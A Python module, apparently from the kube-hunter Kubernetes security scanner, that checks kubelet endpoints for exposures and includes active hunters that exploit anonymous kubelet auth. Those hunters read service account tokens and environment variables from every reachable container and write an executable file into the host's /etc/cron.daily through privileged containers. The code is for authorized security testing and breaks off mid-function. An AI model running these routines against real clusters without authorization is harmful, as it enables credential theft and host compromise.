content: import json
  import logging
  import time
  from enum import Enum
  
  import re
  import requests
  import urllib3
  import uuid
  
  from kube_hunter.conf import get_config
  from kube_hunter.core.events.event_handler import handler
  from kube_hunter.core.events.types import Vulnerability, Event, K8sVersionDisclosure
  from kube_hunter.core.types import (
      Hunter,
      ActiveHunter,
      KubernetesCluster,
      Kubelet,
      ExposedSensitiveInterfacesTechnique,
      ExecIntoContainerTechnique,
      GeneralDefenseEvasionTechnique,
      GeneralSensitiveInformationTechnique,
      PrivilegedContainerTechnique,
      AccessKubeletAPITechnique,
  )
  from kube_hunter.modules.discovery.kubelet import (
      ReadOnlyKubeletEvent,
      SecureKubeletEvent,
  )
  
  logger = logging.getLogger(__name__)
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  
  
  class ExposedPodsHandler(Vulnerability, Event):
      """An attacker could view sensitive information about pods that are
      bound to a Node using the /pods endpoint"""
  
      def __init__(self, pods):
          Vulnerability.__init__(
              self, component=Kubelet, name="Exposed Pods", category=AccessKubeletAPITechnique, vid="KHV052"
          )
          self.pods = pods
          self.evidence = f"count: {len(self.pods)}"
  
  
  class AnonymousAuthEnabled(Vulnerability, Event):
      """The kubelet is misconfigured, potentially allowing secure access to all requests on the kubelet,
      without the need to authenticate"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Anonymous Authentication",
              category=ExposedSensitiveInterfacesTechnique,
              vid="KHV036",
          )
  
  
  class ExposedContainerLogsHandler(Vulnerability, Event):
      """Output logs from a running container are using the exposed /containerLogs endpoint"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Container Logs",
              category=AccessKubeletAPITechnique,
              vid="KHV037",
          )
  
  
  class ExposedRunningPodsHandler(Vulnerability, Event):
      """Outputs a list of currently running pods,
      and some of their metadata, which can reveal sensitive information"""
  
      def __init__(self, count):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Running Pods",
              category=AccessKubeletAPITechnique,
              vid="KHV038",
          )
          self.count = count
          self.evidence = f"{self.count} running pods"
  
  
  class ExposedExecHandler(Vulnerability, Event):
      """An attacker could run arbitrary commands on a container"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Exec On Container",
              category=ExecIntoContainerTechnique,
              vid="KHV039",
          )
  
  
  class ExposedRunHandler(Vulnerability, Event):
      """An attacker could run an arbitrary command inside a container"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Run Inside Container",
              category=ExecIntoContainerTechnique,
              vid="KHV040",
          )
  
  
  class ExposedPortForwardHandler(Vulnerability, Event):
      """An attacker could set port forwarding rule on a pod"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Port Forward",
              category=GeneralDefenseEvasionTechnique,
              vid="KHV041",
          )
  
  
  class ExposedAttachHandler(Vulnerability, Event):
      """Opens a websocket that could enable an attacker
      to attach to a running container"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Attaching To Container",
              category=ExecIntoContainerTechnique,
              vid="KHV042",
          )
  
  
  class ExposedHealthzHandler(Vulnerability, Event):
      """By accessing the open /healthz handler,
      an attacker could get the cluster health state without authenticating"""
  
      def __init__(self, status):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Cluster Health Disclosure",
              category=GeneralSensitiveInformationTechnique,
              vid="KHV043",
          )
          self.status = status
          self.evidence = f"status: {self.status}"
  
  
  class ExposedExistingPrivilegedContainersViaSecureKubeletPort(Vulnerability, Event):
      """A malicious actor, that has confirmed anonymous access to the API via the kubelet's secure port, \
  can leverage the existing privileged containers identified to damage the host and potentially \
  the whole cluster"""
  
      def __init__(self, exposed_existing_privileged_containers):
          Vulnerability.__init__(
              self,
              component=KubernetesCluster,
              name="Exposed Existing Privileged Container(s) Via Secure Kubelet Port",
              category=PrivilegedContainerTechnique,
              vid="KHV051",
          )
          self.exposed_existing_privileged_containers = exposed_existing_privileged_containers
  
  
  class PrivilegedContainers(Vulnerability, Event):
      """A Privileged container exist on a node
      could expose the node/cluster to unwanted root operations"""
  
      def __init__(self, containers):
          Vulnerability.__init__(
              self,
              component=KubernetesCluster,
              name="Privileged Container",
              category=PrivilegedContainerTechnique,
              vid="KHV044",
          )
          self.containers = containers
          self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
  
  
  class ExposedSystemLogs(Vulnerability, Event):
      """System logs are exposed from the /logs endpoint on the kubelet"""
  
      def __init__(self):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed System Logs",
              category=AccessKubeletAPITechnique,
              vid="KHV045",
          )
  
  
  class ExposedKubeletCmdline(Vulnerability, Event):
      """Commandline flags that were passed to the kubelet can be obtained from the pprof endpoints"""
  
      def __init__(self, cmdline):
          Vulnerability.__init__(
              self,
              component=Kubelet,
              name="Exposed Kubelet Cmdline",
              category=AccessKubeletAPITechnique,
              vid="KHV046",
          )
          self.cmdline = cmdline
          self.evidence = f"cmdline: {self.cmdline}"
  
  
  class KubeletHandlers(Enum):
      # GET
      PODS = "pods"
      # GET
      CONTAINERLOGS = "containerLogs/{pod_namespace}/{pod_id}/{container_name}"
      # GET
      RUNNINGPODS = "runningpods"
      # GET -> WebSocket
      EXEC = "exec/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1"
      # POST, For legacy reasons, it uses different query param than exec
      RUN = "run/{pod_namespace}/{pod_id}/{container_name}?cmd={cmd}"
      # GET/POST
      PORTFORWARD = "portForward/{pod_namespace}/{pod_id}?port={port}"
      # GET -> WebSocket
      ATTACH = "attach/{pod_namespace}/{pod_id}/{container_name}?command={cmd}&input=1&output=1&tty=1"
      # GET
      LOGS = "logs/{path}"
      # GET
      PPROF_CMDLINE = "debug/pprof/cmdline"
  
  
  @handler.subscribe(ReadOnlyKubeletEvent)
  class ReadOnlyKubeletPortHunter(Hunter):
      """Kubelet Readonly Ports Hunter
      Hunts specific endpoints on open ports in the readonly Kubelet server
      """
  
      def __init__(self, event):
          self.event = event
          self.path = f"http://{self.event.host}:{self.event.port}"
          self.pods_endpoint_data = ""
  
      def get_k8s_version(self):
          config = get_config()
          logger.debug("Passive hunter is attempting to find kubernetes version")
          metrics = requests.get(f"{self.path}/metrics", timeout=config.network_timeout).text
          for line in metrics.split("\n"):
              if line.startswith("kubernetes_build_info"):
                  for info in line[line.find("{") + 1 : line.find("}")].split(","):
                      k, v = info.split("=")
                      if k == "gitVersion":
                          return v.strip('"')
  
      # returns list of tuples of Privileged container and their pod.
      def find_privileged_containers(self):
          logger.debug("Trying to find privileged containers and their pods")
          privileged_containers = []
          if self.pods_endpoint_data:
              for pod in self.pods_endpoint_data["items"]:
                  for container in pod["spec"]["containers"]:
                      if container.get("securityContext", {}).get("privileged"):
                          privileged_containers.append((pod["metadata"]["name"], container["name"]))
          return privileged_containers if len(privileged_containers) > 0 else None
  
      def get_pods_endpoint(self):
          config = get_config()
          logger.debug("Attempting to find pods endpoints")
          response = requests.get(f"{self.path}/pods", timeout=config.network_timeout)
          if "items" in response.text:
              return response.json()
  
      def check_healthz_endpoint(self):
          config = get_config()
          r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
          return r.text if r.status_code == 200 else False
  
      def execute(self):
          self.pods_endpoint_data = self.get_pods_endpoint()
          k8s_version = self.get_k8s_version()
          privileged_containers = self.find_privileged_containers()
          healthz = self.check_healthz_endpoint()
          if k8s_version:
              self.publish_event(
                  K8sVersionDisclosure(version=k8s_version, from_endpoint="/metrics", extra_info="on Kubelet")
              )
          if privileged_containers:
              self.publish_event(PrivilegedContainers(containers=privileged_containers))
          if healthz:
              self.publish_event(ExposedHealthzHandler(status=healthz))
          if self.pods_endpoint_data:
              self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data["items"]))
  
  
  @handler.subscribe(SecureKubeletEvent)
  class SecureKubeletPortHunter(Hunter):
      """Kubelet Secure Ports Hunter
      Hunts specific endpoints on an open secured Kubelet
      """
  
      class DebugHandlers:
          """all methods will return the handler name if successful"""
  
          def __init__(self, path, pod, session=None):
              self.path = path + ("/" if not path.endswith("/") else "")
              self.session = session if session else requests.Session()
              self.pod = pod
  
          # outputs logs from a specific container
          def test_container_logs(self):
              config = get_config()
              logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
                  pod_namespace=self.pod["namespace"],
                  pod_id=self.pod["name"],
                  container_name=self.pod["container"],
              )
              return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
  
          # need further investigation on websockets protocol for further implementation
          def test_exec_container(self):
              config = get_config()
              # opens a stream to connect to using a web socket
              headers = {"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
              exec_url = self.path + KubeletHandlers.EXEC.value.format(
                  pod_namespace=self.pod["namespace"],
                  pod_id=self.pod["name"],
                  container_name=self.pod["container"],
                  cmd="",
              )
              return (
                  "/cri/exec/"
                  in self.session.get(
                      exec_url,
                      headers=headers,
                      allow_redirects=False,
                      verify=False,
                      timeout=config.network_timeout,
                  ).text
              )
  
          # need further investigation on websockets protocol for further implementation
          def test_port_forward(self):
              pass
              # TODO: what to return?
              # Example starting code:
              #
              # config = get_config()
              # headers = {
              #     "Upgrade": "websocket",
              #     "Connection": "Upgrade",
              #     "Sec-Websocket-Key": "s",
              #     "Sec-Websocket-Version": "13",
              #     "Sec-Websocket-Protocol": "SPDY",
              # }
              # pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
              #     pod_namespace=self.pod["namespace"],
              #     pod_id=self.pod["name"],
              #     port=80,
              # )
  
          # executes one command and returns output
          def test_run_container(self):
              config = get_config()
              run_url = self.path + KubeletHandlers.RUN.value.format(
                  pod_namespace="test",
                  pod_id="test",
                  container_name="test",
                  cmd="",
              )
              # if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled.
              status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code
              return status_code == requests.codes.NOT_FOUND
  
          # returns list of currently running pods
          def test_running_pods(self):
              config = get_config()
              pods_url = self.path + KubeletHandlers.RUNNINGPODS.value
              r = self.session.get(pods_url, verify=False, timeout=config.network_timeout)
              return r.json() if r.status_code == 200 else False
  
          # need further investigation on the differences between attach and exec
          def test_attach_container(self):
              config = get_config()
              # headers={"X-Stream-Protocol-Version": "v2.channel.k8s.io"}
              attach_url = self.path + KubeletHandlers.ATTACH.value.format(
                  pod_namespace=self.pod["namespace"],
                  pod_id=self.pod["name"],
                  container_name=self.pod["container"],
                  cmd="",
              )
              return (
                  "/cri/attach/"
                  in self.session.get(
                      attach_url,
                      allow_redirects=False,
                      verify=False,
                      timeout=config.network_timeout,
                  ).text
              )
  
          # checks access to logs endpoint
          def test_logs_endpoint(self):
              config = get_config()
              logs_url = self.session.get(
                  self.path + KubeletHandlers.LOGS.value.format(path=""),
                  timeout=config.network_timeout,
              ).text
              return "<pre>" in logs_url
  
          # returns the cmd line used to run the kubelet
          def test_pprof_cmdline(self):
              config = get_config()
              cmd = self.session.get(
                  self.path + KubeletHandlers.PPROF_CMDLINE.value,
                  verify=False,
                  timeout=config.network_timeout,
              )
              return cmd.text if cmd.status_code == 200 else None
  
      def __init__(self, event):
          self.event = event
          self.session = requests.Session()
          if self.event.secure:
              self.session.headers.update({"Authorization": f"Bearer {self.event.auth_token}"})
              # self.session.cert = self.event.client_cert
          # copy session to event
          self.event.session = self.session
          self.path = f"https://{self.event.host}:10250"
          self.kubehunter_pod = {
              "name": "kube-hunter",
              "namespace": "default",
              "container": "kube-hunter",
          }
          self.pods_endpoint_data = ""
  
      def get_pods_endpoint(self):
          config = get_config()
          response = self.session.get(f"{self.path}/pods", verify=False, timeout=config.network_timeout)
          if "items" in response.text:
              return response.json()
  
      def check_healthz_endpoint(self):
          config = get_config()
          r = requests.get(f"{self.path}/healthz", verify=False, timeout=config.network_timeout)
          return r.text if r.status_code == 200 else False
  
      def execute(self):
          if self.event.anonymous_auth:
              self.publish_event(AnonymousAuthEnabled())
  
          self.pods_endpoint_data = self.get_pods_endpoint()
          healthz = self.check_healthz_endpoint()
          if self.pods_endpoint_data:
              self.publish_event(ExposedPodsHandler(pods=self.pods_endpoint_data["items"]))
          if healthz:
              self.publish_event(ExposedHealthzHandler(status=healthz))
          self.test_handlers()
  
      def test_handlers(self):
          config = get_config()
          # if kube-hunter runs in a pod, we test with kube-hunter's pod
          pod = self.kubehunter_pod if config.pod else self.get_random_pod()
          if pod:
              debug_handlers = self.DebugHandlers(self.path, pod, self.session)
              try:
                  # TODO: use named expressions, introduced in python3.8
                  running_pods = debug_handlers.test_running_pods()
                  if running_pods:
                      self.publish_event(ExposedRunningPodsHandler(count=len(running_pods["items"])))
                  cmdline = debug_handlers.test_pprof_cmdline()
                  if cmdline:
                      self.publish_event(ExposedKubeletCmdline(cmdline=cmdline))
                  if debug_handlers.test_container_logs():
                      self.publish_event(ExposedContainerLogsHandler())
                  if debug_handlers.test_exec_container():
                      self.publish_event(ExposedExecHandler())
                  if debug_handlers.test_run_container():
                      self.publish_event(ExposedRunHandler())
                  if debug_handlers.test_port_forward():
                      self.publish_event(ExposedPortForwardHandler())  # not implemented
                  if debug_handlers.test_attach_container():
                      self.publish_event(ExposedAttachHandler())
                  if debug_handlers.test_logs_endpoint():
                      self.publish_event(ExposedSystemLogs())
              except Exception:
                  logger.debug("Failed testing debug handlers", exc_info=True)
  
      # trying to get a pod from default namespace, if doesn't exist, gets a kube-system one
      def get_random_pod(self):
          if self.pods_endpoint_data:
              pods_data = self.pods_endpoint_data["items"]
  
              def is_default_pod(pod):
                  return pod["metadata"]["namespace"] == "default" and pod["status"]["phase"] == "Running"
  
              def is_kubesystem_pod(pod):
                  return pod["metadata"]["namespace"] == "kube-system" and pod["status"]["phase"] == "Running"
  
              pod_data = next(filter(is_default_pod, pods_data), None)
              if not pod_data:
                  pod_data = next(filter(is_kubesystem_pod, pods_data), None)
  
              if pod_data:
                  container_data = pod_data["spec"]["containers"][0]
                  if container_data:
                      return {
                          "name": pod_data["metadata"]["name"],
                          "container": container_data["name"],
                          "namespace": pod_data["metadata"]["namespace"],
                      }
  
  
  """ Active Hunters """
  
  
  @handler.subscribe(AnonymousAuthEnabled)
  class ProveAnonymousAuth(ActiveHunter):
      """Foothold Via Secure Kubelet Port
      Attempts to demonstrate that a malicious actor can establish foothold into the cluster via a
      container abusing the configuration of the kubelet's secure port: authentication-auth=false.
      """
  
      def __init__(self, event):
          self.event = event
          self.base_url = f"https://{self.event.host}:10250/"
  
      def get_request(self, url, verify=False):
          config = get_config()
          try:
              response_text = self.event.session.get(url=url, verify=verify, timeout=config.network_timeout).text.rstrip()
  
              return response_text
          except Exception as ex:
              logging.debug("Exception: " + str(ex))
              return "Exception: " + str(ex)
  
      def post_request(self, url, params, verify=False):
          config = get_config()
          try:
              response_text = self.event.session.post(
                  url=url, verify=verify, params=params, timeout=config.network_timeout
              ).text.rstrip()
  
              return response_text
          except Exception as ex:
              logging.debug("Exception: " + str(ex))
              return "Exception: " + str(ex)
  
      @staticmethod
      def has_no_exception(result):
          return "Exception: " not in result
  
      @staticmethod
      def has_no_error(result):
          possible_errors = ["exited with", "Operation not permitted", "Permission denied", "No such file or directory"]
  
          return not any(error in result for error in possible_errors)
  
      @staticmethod
      def has_no_error_nor_exception(result):
          return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
  
      def cat_command(self, run_request_url, full_file_path):
          return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
  
      def process_container(self, run_request_url):
          service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
  
          environment_variables = self.post_request(run_request_url, {"cmd": "env"})
  
          if self.has_no_error_nor_exception(service_account_token):
              return {
                  "result": True,
                  "service_account_token": service_account_token,
                  "environment_variables": environment_variables,
              }
  
          return {"result": False}
  
      def execute(self):
          pods_raw = self.get_request(self.base_url + KubeletHandlers.PODS.value)
  
          # At this point, the following must happen:
          # a) we get the data of the running pods
          # b) we get a forbidden message because the API server
          # has a configuration that denies anonymous attempts despite the kubelet being vulnerable
  
          if self.has_no_error_nor_exception(pods_raw) and "items" in pods_raw:
              pods_data = json.loads(pods_raw)["items"]
  
              temp_message = ""
              exposed_existing_privileged_containers = list()
  
              for pod_data in pods_data:
                  pod_namespace = pod_data["metadata"]["namespace"]
                  pod_id = pod_data["metadata"]["name"]
  
                  for container_data in pod_data["spec"]["containers"]:
                      container_name = container_data["name"]
  
                      run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}"
  
                      extracted_data = self.process_container(run_request_url)
  
                      if extracted_data["result"]:
                          service_account_token = extracted_data["service_account_token"]
                          environment_variables = extracted_data["environment_variables"]
  
                          temp_message += (
                              f"\n\nPod namespace: {pod_namespace}"
                              + f"\n\nPod ID: {pod_id}"
                              + f"\n\nContainer name: {container_name}"
                              + f"\n\nService account token: {service_account_token}"
                              + f"\nEnvironment variables: {environment_variables}"
                          )
  
                          first_check = container_data.get("securityContext", {}).get("privileged")
  
                          first_subset = container_data.get("securityContext", {})
                          second_subset = first_subset.get("capabilities", {})
                          data_for_second_check = second_subset.get("add", [])
  
                          second_check = "SYS_ADMIN" in data_for_second_check
  
                          if first_check or second_check:
                              exposed_existing_privileged_containers.append(
                                  {
                                      "pod_namespace": pod_namespace,
                                      "pod_id": pod_id,
                                      "container_name": container_name,
                                      "service_account_token": service_account_token,
                                      "environment_variables": environment_variables,
                                  }
                              )
  
              if temp_message:
                  message = "The following containers have been successfully breached." + temp_message
  
                  self.event.evidence = f"{message}"
  
              if exposed_existing_privileged_containers:
                  self.publish_event(
                      ExposedExistingPrivilegedContainersViaSecureKubeletPort(
                          exposed_existing_privileged_containers=exposed_existing_privileged_containers
                      )
                  )
  
  
  @handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)
  class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
      """Malicious Intent Via Secure Kubelet Port
      Attempts to demonstrate that a malicious actor can leverage existing privileged containers
      exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,
      such that a process can be started or modified on the host.
      """
  
      def __init__(self, event, seconds_to_wait_for_os_command=1):
          self.event = event
          self.base_url = f"https://{self.event.host}:10250/"
          self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
          self.number_of_rm_attempts = 5
          self.number_of_rmdir_attempts = 5
          self.number_of_umount_attempts = 5
  
      def post_request(self, url, params, verify=False):
          config = get_config()
          try:
              response_text = self.event.session.post(
                  url, verify, params=params, timeout=config.network_timeout
              ).text.rstrip()
  
              return response_text
          except Exception as ex:
              logging.debug("Exception: " + str(ex))
              return "Exception: " + str(ex)
  
      def cat_command(self, run_request_url, full_file_path):
          return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"})
  
      def clean_attacked_exposed_existing_privileged_container(
          self,
          run_request_url,
          file_system_or_partition,
          directory_created,
          file_created,
          number_of_rm_attempts,
          number_of_umount_attempts,
          number_of_rmdir_attempts,
          seconds_to_wait_for_os_command,
      ):
  
          self.rm_command(
              run_request_url,
              f"{directory_created}/etc/cron.daily/{file_created}",
              number_of_rm_attempts,
              seconds_to_wait_for_os_command,
          )
  
          self.umount_command(
              run_request_url,
              file_system_or_partition,
              directory_created,
              number_of_umount_attempts,
              seconds_to_wait_for_os_command,
          )
  
          self.rmdir_command(
              run_request_url,
              directory_created,
              number_of_rmdir_attempts,
              seconds_to_wait_for_os_command,
          )
  
      def check_file_exists(self, run_request_url, file):
          file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)
  
          return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)
  
      def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
          if self.check_file_exists(run_request_url, file_to_remove):
              for _ in range(number_of_rm_attempts):
                  command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"})
  
                  if seconds_to_wait_for_os_command:
                      time.sleep(seconds_to_wait_for_os_command)
  
                  first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
                  second_check = self.check_file_exists(run_request_url, file_to_remove)
  
                  if first_check and not second_check:
                      return True
  
          pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
          container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
          logger.warning(
              "kube-hunter: "
              + "POD="
              + pod_id
              + ", "
              + "CONTAINER="
              + container_name
              + " - Unable to remove file: "
              + file_to_remove
          )
  
          return False
  
      def chmod_command(self, run_request_url, permissions, file):
          return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"})
  
      def touch_command(self, run_request_url, file_to_create):
          return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"})
  
      def attack_exposed_existing_privileged_container(
          self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
      ):
          if file_name is None:
              file_name = "kube-hunter" + str(uuid.uuid1())
  
          file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
  
          file_created = self.touch_command(run_request_url, file_name_with_path)
  
          if ProveAnonymousAuth.has_no_error_nor_exception(file_created):
              permissions_changed = self.chmod_command(run_request_url, "755", file_name_with_path)
  
              if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):
                  return {"result": True, "file_created": file_name}
  
              self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)
  
          return {"result": False}
  
      def check_directory_exists(self, run_request_url, directory):
          directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)
  
          return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
  
      def rmdir_command(
          self,
          run_request_url,
          directory_to_remove,
          number_of_rmdir_attempts,
          seconds_to_wait_for_os_command,
      ):
          if self.check_directory_exists(run_request_url, directory_to_remove):
              for _ in range(number_of_rmdir_attempts):
                  command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"})
  
                  if seconds_to_wait_for_os_command:
                      time.sleep(seconds_to_wait_for_os_command)
  
                  first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)
                  second_check = self.check_directory_exists(run_request_url, directory_to_remove)
  
                  if first_check and not second_check:
                      return True
  
          pod_id = run_request_url.replace(self.base_url + "run/", "").split("/")[1]
          container_name = run_request_url.replace(self.base_url + "run/", "").split("/")[2]
          logger.warning(
              "kube-hunter: "
              + "POD="
              + pod_id
              + ", "
              + "CONTAINER="
              + container_name
              + " - Unable to remove directory: "
              + directory_to_remove
          )
  
          return False
  
      def ls_command(self, run_request_url, file_or_directory):
          return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"})
  
      def umount_command(
          self,
          run_request_url,
          file_system_or_partition,
          directory,
          number_of_umount_attempts,
          seconds_to_wait_for_os_command,
      ):
          # Note: the logic implemented proved more reliable than using "df"
          # command to resolve for mounted systems/partitions.
          current_files_and_directories = self.ls_command(run_request_url, directory)
  
          if self.ls_command(run_request_url, directory) == current_files_and_directories:
              for _ in range(number_of_umount_attempts):
                  # Ref: http://man7.org/linux/man-pages/man2/umount.2.html
                  command_execution_outcome = self.post_request(
                      run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"}
                  )
  
                  if seconds_to_wait_for_os_command:
                      time.sleep(seconds_to_wait_for_os_command)
  
  